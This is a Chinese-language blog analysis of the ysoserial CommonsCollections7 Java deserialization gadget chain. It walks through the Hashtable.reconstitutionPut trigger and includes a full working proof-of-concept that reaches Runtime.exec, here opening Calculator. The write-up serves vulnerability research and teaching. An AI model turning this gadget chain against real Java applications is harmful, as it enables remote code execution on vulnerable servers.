Ysoserial Commons Collections7分析
寫在前面
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修復不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暫無限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修復不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暫無限制 | javassist |
CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(實測8u181也可) | |
CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暫無限制 | |
CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暫無限制 |
CC7和CC1差不多,只是觸發LazyMap.get()
的方式不一樣,反序列化的入口點變成了Hashtable類
Payload method chain: 因為chain發生了一些變化,這里貼出來先留個印象,放便后續調試時理解
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
PoC分析
前面部分基本都是CC1的老內容了,主要看下后面有關於Hashtable部分,主要是下面的一段代碼
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
首先new了兩個HashMap對象,之后分別利用這兩個對象作為參數通過LazyMap.decorate()
方法new了兩個LazyMap對象
拋出問題:注意這里的LazyMap中的yy
與zZ
,這個命名是有說法的。
在reconstitutionPut
方法中,可以看到zZ
和yy
的hash是一樣的,但是重點在於index
的值,如果不符合語法會導致無法進入for循環也就觸發不了后續的利用鏈
(transformerChain是new的一個空ChainedTransformer對象)后續將這兩個LazyMap對象作為參數傳入hashtable.put()
方法並put兩次。拋出問題:為什么要put兩次?
調試時發現在Hashtable#readObject()
方法有如下一個循環,在這個for循環中去調用的reconstitutionPut方法
第一次循環調用reconstitutionPut
方法時並不會走進chain中提到的equals
方法,因為tab[index]
的值是0,后面才會對tab[index]
進行賦值。
第二次才能進入for循環進而調用if判斷中的equals
方法,這也是為什么hashtable要put兩次的原因
調試分析
Hashtable#readObject()下斷點,debug,跟進到reconstitutionPut
方法
上面也提到了,第一次循環時並不能進入equals
方法,這里略去,直接跟進到第二次循環的時候,調用的是LazyMap#equals
方法,繼續跟進,這里調用的其實是org/apache/commons/collections/map/AbstractMapDecorator
的equals方法
調用AbstractMap
的equals
方法
在AbstractMap#equals()
方法中最終調用了LazyMap.get()
后續就是進入ChainedTransformer#transform()
方法,老生常談的東西了,最終是在InvokerTransformer#transform()
中反射調用exec
執行命令
END
至此CC1-7就都分析完了,后面幾個鏈分析的內容比較少,大部分都是前面的內容如果覺得不詳細可以看之前寫的CC1-3的文章,基本都涵蓋了后面分析時沒深入寫的老生常談的東西。后續應該會去跟一下ysoserial的源碼,雖然之前分析URLDNS的時候就簡單看過如何生成payload。但是分析cc的時候就沒用ysoserial項目的源碼(因為封裝的太多了:D)之后可能會把CC8-10拿出來寫成ysoserial的payload放進去。
Reference
https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/